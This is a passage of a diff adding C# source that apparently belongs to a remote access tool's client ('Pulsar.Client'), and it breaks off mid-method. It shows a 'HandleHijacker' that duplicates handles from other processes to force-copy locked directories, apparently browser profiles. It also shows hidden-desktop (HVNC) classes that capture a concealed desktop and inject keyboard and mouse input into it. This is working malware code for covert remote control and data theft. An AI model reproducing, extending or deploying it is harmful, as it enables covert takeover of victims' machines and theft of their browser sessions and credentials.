return false;
}
try
{
File.WriteAllBytes(destinationPath, fileData);
}
catch (Exception ex)
{
Debug.WriteLine($"[HandleHijacker] Failed to write file '{destinationPath}': {ex.Message}");
return false;
}
if (!ValidateFileCopy(sourcePath, destinationPath))
{
Debug.WriteLine($"[HandleHijacker] Validation failed after writing '{destinationPath}'.");
try
{
if (File.Exists(destinationPath))
{
File.Delete(destinationPath);
}
}
catch { }
return false;
}
return true;
}
private static bool DuplicateHandleFromProcess(int sourceProcessId, IntPtr sourceHandle, out IntPtr targetHandle)
{
targetHandle = IntPtr.Zero;
IntPtr procHandle = OpenProcess(PROCESS_DUP_HANDLE, false, (uint)sourceProcessId);
if (procHandle == IntPtr.Zero)
{
return false;
}
IntPtr newHandle = IntPtr.Zero;
bool success = DuplicateHandle(
procHandle,
sourceHandle,
GetCurrentProcess(),
ref newHandle,
0,
false,
DUPLICATE_SAME_ACCESS);
CloseHandle(procHandle);
if (success && newHandle != IntPtr.Zero)
{
targetHandle = newHandle;
return true;
}
return false;
}
private static string GetPathFromHandle(IntPtr fileHandle)
{
StringBuilder fileNameBuilder = new StringBuilder(32767 + 2);
uint pathLen = GetFinalPathNameByHandleW(
fileHandle,
fileNameBuilder,
(uint)fileNameBuilder.Capacity,
FILE_NAME_NORMALIZED);
if (pathLen == 0)
{
return null;
}
return fileNameBuilder.ToString(0, (int)pathLen);
}
private static byte[] ReadFileBytesFromHandle(IntPtr handle)
{
IntPtr fileMapping = CreateFileMappingA(handle, IntPtr.Zero, PAGE_READONLY, 0, 0, null);
if (fileMapping == IntPtr.Zero)
{
return null;
}
try
{
if (!GetFileSizeEx(handle, out ulong fileSize))
{
return null;
}
if (fileSize == 0)
{
return new byte[0];
}
IntPtr baseAddress = MapViewOfFile(fileMapping, FILE_MAP_READ, 0, 0, (UIntPtr)fileSize);
if (baseAddress == IntPtr.Zero)
{
return null;
}
try
{
byte[] fileData = new byte[fileSize];
Marshal.Copy(baseAddress, fileData, 0, (int)fileSize);
return fileData;
}
finally
{
UnmapViewOfFile(baseAddress);
}
}
finally
{
CloseHandle(fileMapping);
}
}
private static bool GetProcessesLockingFile(string filePath, out int[] processes)
{
processes = null;
string sessionKey = Guid.NewGuid().ToString();
if (RmStartSession(out uint sessionHandle, 0, sessionKey) != 0)
{
return false;
}
try
{
string[] resources = new string[] { filePath };
if (RmRegisterResources(sessionHandle, (uint)resources.Length, resources, 0, null, 0, null) != 0)
{
return false;
}
uint nProcInfo = 0;
int status = RmGetList(sessionHandle, out uint nProcInfoNeeded, ref nProcInfo, null, out _);
if (status != ERROR_MORE_DATA)
{
processes = new int[0];
return true;
}
RM_PROCESS_INFO[] affectedApps = new RM_PROCESS_INFO[nProcInfoNeeded];
nProcInfo = nProcInfoNeeded;
status = RmGetList(sessionHandle, out nProcInfoNeeded, ref nProcInfo, affectedApps, out _);
if (status == 0)
{
processes = new int[affectedApps.Length];
for (int i = 0; i < affectedApps.Length; i++)
{
processes[i] = (int)affectedApps[i].Process.dwProcessId;
}
return true;
}
return false;
}
finally
{
RmEndSession(sessionHandle);
}
}
/// <summary>
/// Copies an entire directory using handle hijacking for locked files
/// </summary>
public static bool ForceCopyDirectory(string sourceDir, string destDir, bool killIfFailed = false, IProgress<BrowserCloneProgress> progress = null, CancellationToken cancellationToken = default)
{
try
{
if (!Directory.Exists(sourceDir))
{
return false;
}
Directory.CreateDirectory(destDir);
var directories = new List<string>();
foreach (string directory in Directory.EnumerateDirectories(sourceDir, "*", SearchOption.AllDirectories))
{
cancellationToken.ThrowIfCancellationRequested();
directories.Add(directory);
}
foreach (string directory in directories)
{
cancellationToken.ThrowIfCancellationRequested();
string relativeDir = directory.Substring(sourceDir.Length)
.TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
string targetDir = string.IsNullOrEmpty(relativeDir)
? destDir
: Path.Combine(destDir, relativeDir);
Directory.CreateDirectory(targetDir);
}
var files = new List<string>();
foreach (string file in Directory.EnumerateFiles(sourceDir, "*", SearchOption.AllDirectories))
{
cancellationToken.ThrowIfCancellationRequested();
files.Add(file);
}
int totalFiles = files.Count;
int processed = 0;
bool allFilesCopied = true;
progress?.Report(new BrowserCloneProgress(0, totalFiles, string.Empty, totalFiles == 0));
foreach (string file in files)
{
cancellationToken.ThrowIfCancellationRequested();
string relativePath = file.Substring(sourceDir.Length)
.TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
string destFile = Path.Combine(destDir, relativePath);
string destFileDirectory = Path.GetDirectoryName(destFile);
if (!string.IsNullOrEmpty(destFileDirectory))
{
Directory.CreateDirectory(destFileDirectory);
}
bool copied = TryCopyFileWithValidation(file, destFile, killIfFailed);
if (!copied)
{
Debug.WriteLine($"[HandleHijacker] Failed to copy '{file}' to '{destFile}'.");
allFilesCopied = false;
}
processed++;
progress?.Report(new BrowserCloneProgress(processed, totalFiles, relativePath));
}
progress?.Report(new BrowserCloneProgress(totalFiles, totalFiles, string.Empty));
return allFilesCopied;
}
catch (Exception ex)
{
Debug.WriteLine($"[HandleHijacker] Error copying directory: {ex.Message}");
return false;
}
}
private static bool TryCopyFileWithValidation(string sourcePath, string destinationPath, bool killIfFailed)
{
try
{
File.Copy(sourcePath, destinationPath, true);
}
catch (Exception ex)
{
Debug.WriteLine($"[HandleHijacker] Standard copy failed for '{sourcePath}': {ex.Message}");
}
if (ValidateFileCopy(sourcePath, destinationPath))
{
return true;
}
if (!ForceCopyFile(sourcePath, destinationPath, killIfFailed))
{
return false;
}
return ValidateFileCopy(sourcePath, destinationPath);
}
private static bool ValidateFileCopy(string sourcePath, string destinationPath)
{
try
{
if (!File.Exists(sourcePath) || !File.Exists(destinationPath))
{
return false;
}
var sourceInfo = new FileInfo(sourcePath);
var destInfo = new FileInfo(destinationPath);
if (sourceInfo.Length != destInfo.Length)
{
return false;
}
MirrorFileMetadata(sourceInfo, destInfo);
return true;
}
catch (Exception ex)
{
Debug.WriteLine($"[HandleHijacker] Failed to validate copy '{sourcePath}' -> '{destinationPath}': {ex.Message}");
return false;
}
}
private static void MirrorFileMetadata(FileInfo sourceInfo, FileInfo destInfo)
{
try
{
File.SetAttributes(destInfo.FullName, sourceInfo.Attributes);
}
catch { }
try
{
File.SetCreationTimeUtc(destInfo.FullName, sourceInfo.CreationTimeUtc);
File.SetLastWriteTimeUtc(destInfo.FullName, sourceInfo.LastWriteTimeUtc);
File.SetLastAccessTimeUtc(destInfo.FullName, sourceInfo.LastAccessTimeUtc);
}
catch { }
}
}
}
+268
View File
@@ -0,0 +1,268 @@
using System;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Pulsar.Client.Helper.HVNC
{
internal class ImageHandler
{
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr GetDC(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetThreadDesktop(IntPtr hDesktop);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
[DllImport("user32.dll")]
private static extern IntPtr GetDesktopWindow();
[DllImport("user32.dll", SetLastError = true)]
private static extern bool GetWindowRect(IntPtr hwnd, out RECT lpRect);
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool IsWindowVisible(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr GetWindow(IntPtr hWnd, GetWindowType uCmd);
[DllImport("user32.dll")]
private static extern IntPtr GetTopWindow(IntPtr hWnd);
[DllImport("user32.dll")]
private static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC);
[DllImport("gdi32.dll")]
private static extern IntPtr CreateCompatibleDC(IntPtr hdc);
[DllImport("gdi32.dll")]
private static extern IntPtr CreateCompatibleBitmap(IntPtr hdc, int nWidth, int nHeight);
[DllImport("gdi32.dll")]
private static extern IntPtr SelectObject(IntPtr hdc, IntPtr hgdiobj);
[DllImport("gdi32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool DeleteObject(IntPtr hObject);
[DllImport("gdi32.dll")]
private static extern bool DeleteDC(IntPtr hdc);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool CloseDesktop(IntPtr hDesktop);
[DllImport("gdi32.dll")]
private static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
public ImageHandler(string DesktopName)
{
IntPtr intPtr = OpenDesktop(DesktopName, 0, true, 511U);
if (intPtr == IntPtr.Zero)
{
intPtr = CreateDesktop(DesktopName, IntPtr.Zero, IntPtr.Zero, 0, 511U, IntPtr.Zero);
}
this.Desktop = intPtr;
}
private static float GetScalingFactor()
{
float result;
using (Graphics graphics = Graphics.FromHwnd(IntPtr.Zero))
{
IntPtr hdc = graphics.GetHdc();
int deviceCaps = GetDeviceCaps(hdc, 10);
result = (float)GetDeviceCaps(hdc, 117) / (float)deviceCaps;
graphics.ReleaseHdc(hdc);
}
return result;
}
private bool DrawApplication(IntPtr hWnd, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea)
{
bool result = false;
RECT rect;
GetWindowRect(hWnd, out rect);
// Only draw if window is within the capture area
if (rect.Right < captureArea.Left || rect.Left > captureArea.Right ||
rect.Bottom < captureArea.Top || rect.Top > captureArea.Bottom)
{
return false;
}
IntPtr intPtr = CreateCompatibleDC(DC);
IntPtr intPtr2 = CreateCompatibleBitmap(DC, (int)((float)(rect.Right - rect.Left) * scalingFactor), (int)((float)(rect.Bottom - rect.Top) * scalingFactor));
SelectObject(intPtr, intPtr2);
uint nFlags = 2U;
if (PrintWindow(hWnd, intPtr, nFlags))
{
try
{
Bitmap bitmap = Image.FromHbitmap(intPtr2);
// Adjust draw position relative to capture area
ModifiableScreen.DrawImage(bitmap, new Point(rect.Left - captureArea.Left, rect.Top - captureArea.Top));
bitmap.Dispose();
result = true;
}
catch
{
}
}
DeleteObject(intPtr2);
DeleteDC(intPtr);
return result;
}
private void DrawTopDown(IntPtr owner, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea)
{
IntPtr intPtr = GetTopWindow(owner);
if (intPtr == IntPtr.Zero)
{
return;
}
intPtr = GetWindow(intPtr, GetWindowType.GW_HWNDLAST);
if (intPtr == IntPtr.Zero)
{
return;
}
while (intPtr != IntPtr.Zero)
{
this.DrawHwnd(intPtr, ModifiableScreen, DC, scalingFactor, captureArea);
intPtr = GetWindow(intPtr, GetWindowType.GW_HWNDPREV);
}
}
private void DrawHwnd(IntPtr hWnd, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea)
{
if (IsWindowVisible(hWnd))
{
this.DrawApplication(hWnd, ModifiableScreen, DC, scalingFactor, captureArea);
if (Environment.OSVersion.Version.Major < 6)
{
this.DrawTopDown(hWnd, ModifiableScreen, DC, scalingFactor, captureArea);
}
}
}
public void Dispose()
{
CloseDesktop(this.Desktop);
GC.Collect();
}
/// <summary>
/// Gets the total number of monitors available.
/// </summary>
/// <returns>The number of monitors.</returns>
public static int GetMonitorCount()
{
return Screen.AllScreens.Length;
}
/// <summary>
/// Captures the screenshot of the entire desktop (all monitors).
/// </summary>
public Bitmap Screenshot()
{
return Screenshot(-1); // -1 means capture all monitors
}
/// <summary>
/// Captures the screenshot of a specific monitor.
/// </summary>
/// <param name="monitorIndex">The index of the monitor to capture. Use -1 to capture all monitors.</param>
public Bitmap Screenshot(int monitorIndex)
{
SetThreadDesktop(this.Desktop);
IntPtr dc = GetDC(IntPtr.Zero);
Rectangle captureArea;
if (monitorIndex >= 0 && monitorIndex < Screen.AllScreens.Length)
{
// Capture specific monitor
captureArea = Screen.AllScreens[monitorIndex].Bounds;
}
else
{
// Capture all monitors (entire desktop)
RECT rect;
GetWindowRect(GetDesktopWindow(), out rect);
captureArea = new Rectangle(rect.Left, rect.Top, rect.Right - rect.Left, rect.Bottom - rect.Top);
}
float scalingFactor = GetScalingFactor();
int scaledWidth = (int)((float)captureArea.Width * scalingFactor);
int scaledHeight = (int)((float)captureArea.Height * scalingFactor);
Bitmap bitmap = new Bitmap(scaledWidth, scaledHeight);
try
{
using (Graphics graphics = Graphics.FromImage(bitmap))
{
this.DrawTopDown(IntPtr.Zero, graphics, dc, scalingFactor, captureArea);
}
}
finally
{
ReleaseDC(IntPtr.Zero, dc);
}
return bitmap;
}
public IntPtr Desktop = IntPtr.Zero;
private enum DESKTOP_ACCESS : uint
{
DESKTOP_NONE,
DESKTOP_READOBJECTS,
DESKTOP_CREATEWINDOW,
DESKTOP_CREATEMENU = 4U,
DESKTOP_HOOKCONTROL = 8U,
DESKTOP_JOURNALRECORD = 16U,
DESKTOP_JOURNALPLAYBACK = 32U,
DESKTOP_ENUMERATE = 64U,
DESKTOP_WRITEOBJECTS = 128U,
DESKTOP_SWITCHDESKTOP = 256U,
GENERIC_ALL = 511U
}
private struct RECT
{
public int Left;
public int Top;
public int Right;
public int Bottom;
}
private enum GetWindowType : uint
{
GW_HWNDFIRST,
GW_HWNDLAST,
GW_HWNDNEXT,
GW_HWNDPREV,
GW_OWNER,
GW_CHILD,
GW_ENABLEDPOPUP
}
private enum DeviceCap
{
VERTRES = 10,
DESKTOPVERTRES = 117
}
}
}
+749
View File
@@ -0,0 +1,749 @@
using Pulsar.Common.Enums;
using Pulsar.Common.Messages.Monitoring.HVNC;
using Pulsar.Common.Messages.Monitoring.RemoteDesktop;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
namespace Pulsar.Client.Helper.HVNC
{
/// <summary>
/// Handles input for the Hidden Virtual Network Computing (HVNC) feature.
/// </summary>
public class InputHandler : IDisposable
{
#region Win32 API Imports
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool CloseDesktop(IntPtr hDesktop);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetThreadDesktop(IntPtr hDesktop);
[DllImport("user32.dll")]
private static extern IntPtr WindowFromPoint(POINT point);
[DllImport("user32.dll")]
private static extern IntPtr SendMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll")]
private static extern IntPtr PostMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll")]
private static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect);
[DllImport("user32.dll")]
private static extern bool ScreenToClient(IntPtr hWnd, ref POINT lpPoint);
[DllImport("user32.dll")]
private static extern IntPtr ChildWindowFromPoint(IntPtr hWnd, POINT point);
[DllImport("user32.dll")]
private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
[DllImport("user32.dll")]
private static extern bool PtInRect(ref RECT lprc, POINT pt);
[DllImport("user32.dll")]
private static extern bool SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong);
[DllImport("user32.dll")]
private static extern int GetWindowLong(IntPtr hWnd, int nIndex);
[DllImport("user32.dll")]
private static extern bool GetWindowPlacement(IntPtr hWnd, ref WINDOWPLACEMENT lpwndpl);
[DllImport("user32.dll")]
private static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll")]
private static extern int MenuItemFromPoint(IntPtr hWnd, IntPtr hMenu, POINT pt);
[DllImport("user32.dll")]
private static extern int GetMenuItemID(IntPtr hMenu, int nPos);
[DllImport("user32.dll")]
private static extern IntPtr GetSubMenu(IntPtr hMenu, int nPos);
[DllImport("user32.dll")]
private static extern bool MoveWindow(IntPtr hWnd, int x, int y, int width, int height, bool repaint);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern int RealGetWindowClass(IntPtr hwnd, [Out] StringBuilder pszType, int cchType);
[DllImport("user32.dll")]
private static extern IntPtr GetWindow(IntPtr hWnd, uint uCmd);
[DllImport("user32.dll")]
private static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam);
[DllImport("user32.dll")]
private static extern bool IsWindowVisible(IntPtr hWnd);
[DllImport("user32.dll")]
private static extern bool IsWindow(IntPtr hWnd);
[DllImport("user32.dll")]
private static extern bool PrintWindow(IntPtr hwnd, IntPtr hdcBlt, uint nFlags);
[DllImport("user32.dll")]
private static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
[DllImport("user32.dll")]
private static extern bool GetClientRect(IntPtr hWnd, out RECT lpRect);
[DllImport("user32.dll")]
private static extern IntPtr GetDesktopWindow();
[DllImport("user32.dll")]
private static extern uint MapVirtualKey(uint uCode, uint uMapType);
[DllImport("user32.dll")]
private static extern short GetKeyState(int nVirtKey);
[DllImport("user32.dll")]
private static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpKeyState,
[Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] System.Text.StringBuilder pwszBuff,
int cchBuff, uint wFlags);
[DllImport("user32.dll")]
private static extern bool GetKeyboardState(byte[] lpKeyState);
private delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam);
#endregion
#region Constants
// Window style constants
private const int GWL_STYLE = -16;
private const int WS_DISABLED = 0x8000000;
// Window message constants
private const int WM_CHAR = 0x0102;
private const int WM_KEYDOWN = 0x0100;
private const int WM_KEYUP = 0x0101;
private const int WM_LBUTTONUP = 0x0202;
private const int WM_LBUTTONDOWN = 0x0201;
private const int WM_MOUSEMOVE = 0x0200;
private const int WM_CLOSE = 0x0010;
private const int WM_SYSCOMMAND = 0x0112;
private const int WM_NCHITTEST = 0x0084;
private const int WM_RBUTTONUP = 0x0205;
private const int WM_RBUTTONDOWN = 0x0204;
private const int WM_DESTROY = 0x0002;
// Mouse button constants
private const int MK_LBUTTON = 0x0001;
private const int MK_RBUTTON = 0x0002;
// System command constants
private const int SC_MINIMIZE = 0xF020;
private const int SC_RESTORE = 0xF120;
private const int SC_MAXIMIZE = 0xF030;
// Hit test area constants
private const int HTCAPTION = 2;
private const int HTTOP = 12;
private const int HTBOTTOM = 15;
private const int HTLEFT = 10;
private const int HTRIGHT = 11;
private const int HTTOPLEFT = 13;
private const int HTTOPRIGHT = 14;
private const int HTBOTTOMLEFT = 16;
private const int HTBOTTOMRIGHT = 17;
private const int HTCLOSE = 20;
private const int HTMINBUTTON = 8;
private const int HTMAXBUTTON = 9;
private const int HTTRANSPARENT = -1;
// Window enumeration constants
private const uint GW_HWNDPREV = 3;
private const uint GW_HWNDNEXT = 2;
// Miscellaneous constants
private const int VK_RETURN = 0x0D;
private const int MN_GETHMENU = 0x01E1;
private const int BM_CLICK = 0x00F5;
private const int MAX_PATH = 260;
private const int SW_SHOWMAXIMIZED = 3;
private const int SW_RESTORE = 9;
private const int VK_SHIFT = 0x10;
private const int VK_CONTROL = 0x11;
private const int VK_MENU = 0x12; // Alt key
private const int VK_LSHIFT = 0xA0;
private const int VK_RSHIFT = 0xA1;
private const int VK_LCONTROL = 0xA2;
private const int VK_RCONTROL = 0xA3;
private const int VK_LMENU = 0xA4; // Left Alt
private const int VK_RMENU = 0xA5; // Right Alt
private const int VK_CAPITAL = 0x14; // Caps Lock
#endregion
#region Fields and Properties
private readonly string desktopName;
private bool isMovingWindow = false;
private POINT lastClickCoords = new POINT { x = 0, y = 0 };
private POINT lastWindowDimensions = new POINT { x = 0, y = 0 };
private IntPtr windowToMove = IntPtr.Zero;
private IntPtr workingWindow = IntPtr.Zero;
private static readonly object syncLock = new object();
private bool isShiftPressed = false;
private bool isControlPressed = false;
private bool isAltPressed = false;
private bool isCapsLockOn = false;
/// <summary>
/// Gets the desktop handle.
/// </summary>
public IntPtr Desktop { get; private set; } = IntPtr.Zero;
#endregion
#region Constructor and Dispose
/// <summary>
/// Initializes a new instance of the <see cref="InputHandler"/> class.
/// </summary>
/// <param name="desktopName">The name of the desktop to handle input for.</param>
public InputHandler(string desktopName)
{
this.desktopName = desktopName;
IntPtr desktopHandle = OpenDesktop(desktopName, 0, true, (uint)DESKTOP_ACCESS.GENERIC_ALL);
if (desktopHandle == IntPtr.Zero)
{
desktopHandle = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero);
}
this.Desktop = desktopHandle;
InitializeModifierKeyStates();
}
/// <summary>
/// Releases all resources used by the InputHandler.
/// </summary>
public void Dispose()
{
CloseDesktop(this.Desktop);
GC.Collect();
}
#endregion
#region Keyboard Helper Methods
/// <summary>
/// Initializes the modifier key states by checking the current system state.
/// </summary>
private void InitializeModifierKeyStates()
{
isShiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0;
isControlPressed = (GetKeyState(VK_CONTROL) & 0x8000) != 0;
isAltPressed = (GetKeyState(VK_MENU) & 0x8000) != 0;
isCapsLockOn = (GetKeyState(VK_CAPITAL) & 0x0001) != 0;
}
/// <summary>
/// Handles keyboard input with proper modifier tracking and character conversion.
/// </summary>
/// <param name="msg">The keyboard message</param>
/// <param name="wParam">The wParam containing the virtual key code</param>
/// <param name="lParam">The original lParam</param>
/// <param name="targetWindow">The target window to send messages to</param>
private void HandleKeyboardInput(uint msg, IntPtr wParam, IntPtr lParam, IntPtr targetWindow)
{
int virtualKey = wParam.ToInt32();
UpdateModifierKeyState(msg, virtualKey);
if (msg == WM_KEYDOWN)
{
if (IsModifierKey(virtualKey))
{
IntPtr modifierLParam = BuildKeyboardLParam(msg, wParam);
PostMessage(targetWindow, msg, wParam, modifierLParam);
return;
}
char[] chars = VirtualKeyToChar(virtualKey);
bool isPrintableChar = (chars != null && chars.Length > 0 && chars[0] != '\0');
if (isPrintableChar)
{
IntPtr charLParam = BuildKeyboardLParam(WM_CHAR, wParam);
foreach (char ch in chars)
{
if (ch != '\0')
{
PostMessage(targetWindow, WM_CHAR, new IntPtr(ch), charLParam);
}
}
}
else
{
IntPtr properLParam = BuildKeyboardLParam(msg, wParam);
PostMessage(targetWindow, msg, wParam, properLParam);
}
}
else if (msg == WM_KEYUP)
{
IntPtr properLParam = BuildKeyboardLParam(msg, wParam);
PostMessage(targetWindow, msg, wParam, properLParam);
}
else if (msg == WM_CHAR)
{
PostMessage(targetWindow, msg, wParam, lParam);
}
}
/// <summary>
/// Updates the internal modifier key state tracking.
/// </summary>
/// <param name="msg">The keyboard message</param>
/// <param name="virtualKey">The virtual key code</param>
private void UpdateModifierKeyState(uint msg, int virtualKey)
{
bool keyDown = (msg == WM_KEYDOWN);
switch (virtualKey)
{
case VK_SHIFT:
case VK_LSHIFT:
case VK_RSHIFT:
isShiftPressed = keyDown;
break;
case VK_CONTROL:
case VK_LCONTROL:
case VK_RCONTROL:
isControlPressed = keyDown;
break;
case VK_MENU:
case VK_LMENU:
case VK_RMENU:
isAltPressed = keyDown;
break;
case VK_CAPITAL:
if (keyDown)
{
isCapsLockOn = !isCapsLockOn;
}
break;
}
}
/// <summary>
/// Converts a virtual key to its character representation considering modifier states.
/// </summary>
/// <param name="virtualKey">The virtual key code</param>
/// <returns>Array of characters, or null if not a printable character</returns>
private char[] VirtualKeyToChar(int virtualKey)
{
if (IsModifierKey(virtualKey) || IsNonPrintableKey(virtualKey))
{
return null;
}
byte[] keyboardState = new byte[256];
if (isShiftPressed)
{
keyboardState[VK_SHIFT] = 0x80;
}
if (isControlPressed)
{
keyboardState[VK_CONTROL] = 0x80;
}
if (isAltPressed)
{
keyboardState[VK_MENU] = 0x80;
}
if (isCapsLockOn)
{
keyboardState[VK_CAPITAL] = 0x01;
}
var buffer = new StringBuilder(64);
uint scanCode = MapVirtualKey((uint)virtualKey, 0);
int result = ToUnicode((uint)virtualKey, scanCode, keyboardState, buffer, buffer.Capacity, 0);
if (result > 0)
{
return buffer.ToString().Substring(0, result).ToCharArray();
}
return null;
}
/// <summary>
/// Determines if a virtual key is a modifier key.
/// </summary>
/// <param name="virtualKey">The virtual key code</param>
/// <returns>True if the key is a modifier key</returns>
private bool IsModifierKey(int virtualKey)
{
switch (virtualKey)
{
case VK_SHIFT:
case VK_LSHIFT:
case VK_RSHIFT:
case VK_CONTROL:
case VK_LCONTROL:
case VK_RCONTROL:
case VK_MENU:
case VK_LMENU:
case VK_RMENU:
case VK_CAPITAL:
return true;
default:
return false;
}
}
/// <summary>
/// Determines if a virtual key is a non-printable key (function keys, arrows, etc.).
/// </summary>
/// <param name="virtualKey">The virtual key code</param>
/// <returns>True if the key is non-printable</returns>
private bool IsNonPrintableKey(int virtualKey)
{
if (virtualKey >= 0x70 && virtualKey <= 0x7B) return true;
switch (virtualKey)
{
case 0x21: // VK_PRIOR (Page Up)
case 0x22: // VK_NEXT (Page Down)
case 0x23: // VK_END
case 0x24: // VK_HOME
case 0x25: // VK_LEFT
case 0x26: // VK_UP
case 0x27: // VK_RIGHT
case 0x28: // VK_DOWN
case 0x2D: // VK_INSERT
case 0x2E: // VK_DELETE
case 0x5B: // VK_LWIN
case 0x5C: // VK_RWIN
case 0x5D: // VK_APPS
case 0x91: // VK_SCROLL
case 0x90: // VK_NUMLOCK
case 0x0D: // VK_RETURN (Enter)
case 0x1B: // VK_ESCAPE
case 0x09: // VK_TAB
case 0x08: // VK_BACK (Backspace)
return true;
default:
return false;
}
}
/// <summary>
/// Builds the appropriate lParam value for keyboard messages.
/// </summary>
/// <param name="message">The keyboard message (WM_KEYDOWN, WM_KEYUP, WM_CHAR)</param>
/// <param name="wParam">The wParam containing the virtual key code</param>
/// <returns>The properly formatted lParam for the keyboard message</returns>
private IntPtr BuildKeyboardLParam(uint message, IntPtr wParam)
{
int vk = wParam.ToInt32();
uint scanCode = MapVirtualKey((uint)vk, 0);
int lParam = 0;
lParam |= 1;
lParam |= (int)(scanCode << 16);
if (IsExtendedKey(vk))
{
lParam |= (1 << 24);
}
if (message == WM_KEYUP)
{
lParam |= (1 << 30);
lParam |= (1 << 31);
}
return new IntPtr(lParam);
}
/// <summary>
/// Determines if a virtual key code represents an extended key.
/// </summary>
/// <param name="virtualKey">The virtual key code</param>
/// <returns>True if the key is an extended key</returns>
private bool IsExtendedKey(int virtualKey)
{
switch (virtualKey)
{
case 0x21: // VK_PRIOR (Page Up)
case 0x22: // VK_NEXT (Page Down)
case 0x23: // VK_END
case 0x24: // VK_HOME
case 0x25: // VK_LEFT
case 0x26: // VK_UP
case 0x27: // VK_RIGHT
case 0x28: // VK_DOWN
case 0x2D: // VK_INSERT
case 0x2E: // VK_DELETE
case 0x5B: // VK_LWIN
case 0x5C: // VK_RWIN
case 0x5D: // VK_APPS
case 0xA0: // VK_LSHIFT (when differentiated from VK_SHIFT)
case 0xA1: // VK_RSHIFT
case 0xA2: // VK_LCONTROL
case 0xA3: // VK_RCONTROL
case 0xA4: // VK_LMENU (Left Alt)
case 0xA5: // VK_RMENU (Right Alt)
case 0x91: // VK_SCROLL
return true;
default:
return false;
}
}
#endregion
#region Helper Methods
/// <summary>
/// Gets the X coordinate from an lParam.
/// </summary>
public static int GetXCoordinate(IntPtr lParam)
{
return (int)((short)(lParam.ToInt32() & 0xFFFF));
}
/// <summary>
/// Gets the Y coordinate from an lParam.
/// </summary>
public static int GetYCoordinate(IntPtr lParam)
{
return (int)((short)(lParam.ToInt32() >> 16 & 0xFFFF));
}
/// <summary>
/// Creates an lParam from X and Y coordinates.
/// </summary>
public static IntPtr MakeLParam(int lowWord, int highWord)
{
return new IntPtr(highWord << 16 | (lowWord & 0xFFFF));
}
/// <summary>
/// Calculates relative coordinates from screen to window
/// </summary>
private POINT ScreenToWindow(int screenX, int screenY, int windowX, int windowY, int windowWidth, int windowHeight)
{
int relativeX = screenX - windowX;
int relativeY = screenY - windowY;
if (relativeX >= 0 && relativeX < windowWidth && relativeY >= 0 && relativeY < windowHeight)
return new POINT { x = relativeX, y = relativeY };
else
return new POINT { x = -1, y = -1 };
}
#endregion
#region Input Processing
/// <summary>
/// Processes an input message and sends it to the appropriate window.
/// </summary>
/// <param name="msg">The message to process.</param>
/// <param name="wParam">The wParam of the message.</param>
/// <param name="lParam">The lParam of the message.</param>
public void Input(uint msg, IntPtr wParam, IntPtr lParam)
{
lock (syncLock)
{
SetThreadDesktop(this.Desktop);
// Handle mouse messages
if (msg == WM_LBUTTONDOWN || msg == WM_LBUTTONUP ||
msg == WM_RBUTTONDOWN || msg == WM_RBUTTONUP ||
msg == WM_MOUSEMOVE)
{
int x = GetXCoordinate(lParam);
int y = GetYCoordinate(lParam);
POINT cursorPosition = new POINT { x = x, y = y };
bool isLeft = (msg == WM_LBUTTONDOWN || msg == WM_LBUTTONUP);
bool isUp = (msg == WM_LBUTTONUP || msg == WM_RBUTTONUP);
if (isMovingWindow && isUp && isLeft)
{
// If we were moving a window and now released the button, complete the move
SetWindowPos(windowToMove, IntPtr.Zero,
x - lastClickCoords.x,
y - lastClickCoords.y,
lastWindowDimensions.x,
lastWindowDimensions.y,
0);
isMovingWindow = false;
}
// Get the window under the cursor
IntPtr hwnd = WindowFromPoint(cursorPosition);
workingWindow = hwnd;
if (hwnd != IntPtr.Zero)
{
// Get window information
RECT windowRect;
